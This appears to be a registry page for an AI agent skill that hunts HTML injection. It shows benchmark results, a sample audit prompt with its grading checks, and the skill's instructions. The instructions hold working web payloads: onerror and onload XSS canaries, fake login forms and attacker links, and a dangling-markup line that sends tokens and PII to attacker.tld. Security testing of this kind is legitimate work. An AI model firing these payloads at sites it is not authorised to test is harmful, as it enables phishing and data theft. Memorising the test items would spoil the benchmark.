Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →elementalsouls/hunt-html-injection
Hunt HTML Injection — user-supplied input is rendered as raw HTML in the response without sanitisation, allowing an attacker to inject arbitrary HTML tags (but not necessarily JavaScript). Lower severity than XSS but enables phishing, UI manipulation, and credential harvesting via injected forms.
Passed 18 of 22 test cases with the skill, and 16 of 22 without it.
and 4 more in the full report
5 fixed13 passed either way1 still failing3 broke
Tokens, turns and time describe resource use, not a dollar price.
One of 5 test cases the skill fixed. Same model, same prompt, with and without the skill.
Can you audit our contact form's message field to see if HTML tags are escaping correctly in the admin view? Check whether markup tags persist unescaped in the rendering context and provide a brief summary including whether escalation to attributes or scripts might be possible based on the response.
| Checked | Without skill | With skill |
|---|---|---|
| Includes an active vector carrying a unique multi-digit numeric canary. | Missed | Passed |
| Describes escalating from non-script tag injection to event handler attributes. | Missed | Passed |
The instructions your model reads when the skill loads.
HTML Injection occurs when user input is inserted into a page's HTML without escaping, so injected tags are rendered by the browser as markup rather than displayed as literal text. Unlike XSS, the injected content does not require JavaScript execution — injecting <b>, <h1>, <a>, <img>, or <form> tags is sufficient.
To PROVE impact unambiguously, escalate to an active vector carrying a unique numeric canary — e.g. "><img src=x onerror=alert(91234)> or <svg onload=alert(91234)>. A distinctive 4+ digit number (not alert(1)) distinguishes YOUR reflected injection from the example payloads practice pages embed in their own hint text. Proof = the raw, unescaped vector with your canary appears in the response.
Impact:
<form> or <a href="attacker.com"> tags<h1>HACKED</h1> renders visually on the page<meta http-equiv="refresh"><script> but not <img onerror>)<script> and event handlers filtered, an unterminated tag can capture page content that follows it. Inject <img src='//attacker.tld/log?html= (no closing quote/>); the browser treats everything up to the next ' as the URL, leaking any CSRF token, secret, or PII rendered after your injection point to your server. Works where full XSS is blocked but raw < is reflected.<a>/<img>/dangling markup in the recipient's inbox — an audience the web UI can't reach, and often the only place HTML is rendered unfiltered. Inject into name/subject/comment, then read the raw email source. Disclosed class: https://hackerone.com/reports/1935628, https://hackerone.com/reports/3556892.Any input that is reflected or stored and then displayed in an HTML context:
?q=)?error=, ?message=)Inject a recognisable HTML tag with a unique canary string. Unescaped angle brackets in the response = confirmed injection.
Pattern 1 — Basic HTML tag injection:
<b>CANARY</b>
"><b>CANARY</b>
Use a unique string as CANARY (something distinct to this test run). Proof: the response contains <b>CANARY with literal < angle brackets — not <b>CANARY. A properly encoded app would escape < to <.
Try multiple tag types when <b> is filtered:
<h1>CANARY</h1> — heading tag (often less filtered)<img src=x onerror=CANARY> — attribute context<a href="https://attacker.com">click</a> — link injection (phishing proof)test cases passed, vs 16 / 22 without
Published skills whose descriptions closely match this one, with their headline benchmark lift.
More skills from the same source and nearby in the registry, with their headline benchmark lift.